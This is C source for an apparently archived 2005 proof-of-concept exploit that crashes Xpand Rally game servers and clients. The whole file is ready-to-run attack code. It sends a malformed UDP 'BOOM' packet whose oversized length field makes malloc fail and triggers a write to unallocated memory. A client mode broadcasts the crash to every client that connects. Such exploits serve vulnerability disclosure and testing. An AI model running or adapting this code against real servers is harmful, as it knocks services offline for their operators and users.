/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>

/* inserted winerr.h /str0ke */

/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}




    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER     "0.1"
#define BUFFSZ  2048
#define TIMEOUT 3
#define PORT    28015
#define BOOM    "\x1C\x00\x00\x00" \
                "\xff\xff\xff\xff"  /* BOOM */
/* "\xff\xff\xff\xff": malloc() fails and we get a writing to unallocated memory
   "\xff\x10\x00\x00": malloc() ok but we get a reading from unallocated memory */

#define SEND(x) if(sendto(sd, x, sizeof(x) - 1, 0, (struct sockaddr *)&peer, sizeof(peer)) \
                  < 0) std_err();



int timeout(int sock);
u_long resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len,
            on = 1,
            psz;
    u_short port = PORT;
    u_char  buff[BUFFSZ + 1],
            info[] =
                "\x1C\x00\x00\x00"
                "\x00\x00\x00\x00"  // size, generated at runtime
                "\x01"
                "\x0A"              // 0, 10, 20 or 30 for verbose info
                "\x08\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00";


    setbuf(stdout, NULL);

    fputs("\n"
        "Xpand Rally <= 1.0.0.0 server/clients crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <attack> [port(%d)]\n"
            "\n"
            "Attack:\n"
            " c        = broadcast clients crash\n"
            " s <host> = server crash. If you wanna test your server you must simply use:\n"
            "              xpandboom s localhost\n"
            "\n", argv[0], port);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    if(argv[1][0] == 's') {
        if(argc < 3) {
            fputs("\nError: you must specify the server IP or hostname\n\n", stdout);
            exit(1);
        }
        if(argc > 3) port = atoi(argv[3]);
        peer.sin_addr.s_addr = resolv(argv[2]);
        peer.sin_port        = htons(port);
        peer.sin_family      = AF_INET;

        printf("- target   %s : %hu\n",
            inet_ntoa(peer.sin_addr), port);

        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();

        *(u_long *)(info + 4) = (sizeof(info) - 1) - 8;
        fputs("- request informations\n", stdout);
        SEND(info);
        if(timeout(sd) < 0) {
            fputs("\nError: socket timeout, no reply received\n\n", stdout);
            exit(1);
        }
        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
        if(len < 0) std_err();

        if(len > 23) {
            len = buff[26];
            buff[27 + len] = 0x00;
            printf("\n  Server name: %s\n", buff + 27);
            len += 27 + 3;
            printf("  Players:     %d/%d\n", buff[len + 4], buff[len]);
            len += 20;
            buff[len + 1 + buff[len]] = 0x00;
            printf("  Map:         %s\n\n", buff + len + 1);
        }

        fputs("- send BOOM packet\n", stdout);
        SEND(BOOM);

        fputs("- check server\n", stdout);
        SEND(info);
        if(timeout(sd) < 0) {
            fputs("\nServer IS vulnerable!!!\n\n", stdout);
        } else {
            fputs("\nServer doesn't seem vulnerable\n\n", stdout);
        }

    } else if(argv[1][0] == 'c') {
        if(argc > 2) port = atoi(argv[2]);
        peer.sin_addr.s_addr = INADDR_ANY;
        peer.sin_port        = htons(port);
        peer.sin_family      = AF_INET;
        psz                  = sizeof(peer);

        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();
        if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
          < 0) std_err();
        if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        fputs("  Clients:\n", stdout);
        for(;;) {
            len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
            if(len < 0) std_err();
            buff[len] = 0x00;

            printf("%16s : %hu\n",
                inet_ntoa(peer.sin_addr),
                ntohs(peer.sin_port));

            SEND(BOOM);
        }

    } else {
        fputs("\nError: you must choose 's' to test a server or 'c' to test clients\n\n", stdout);
        exit(1);
    }

    close(sd);
    return(0);
}



int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

// milw0rm.com [2005-01-31]
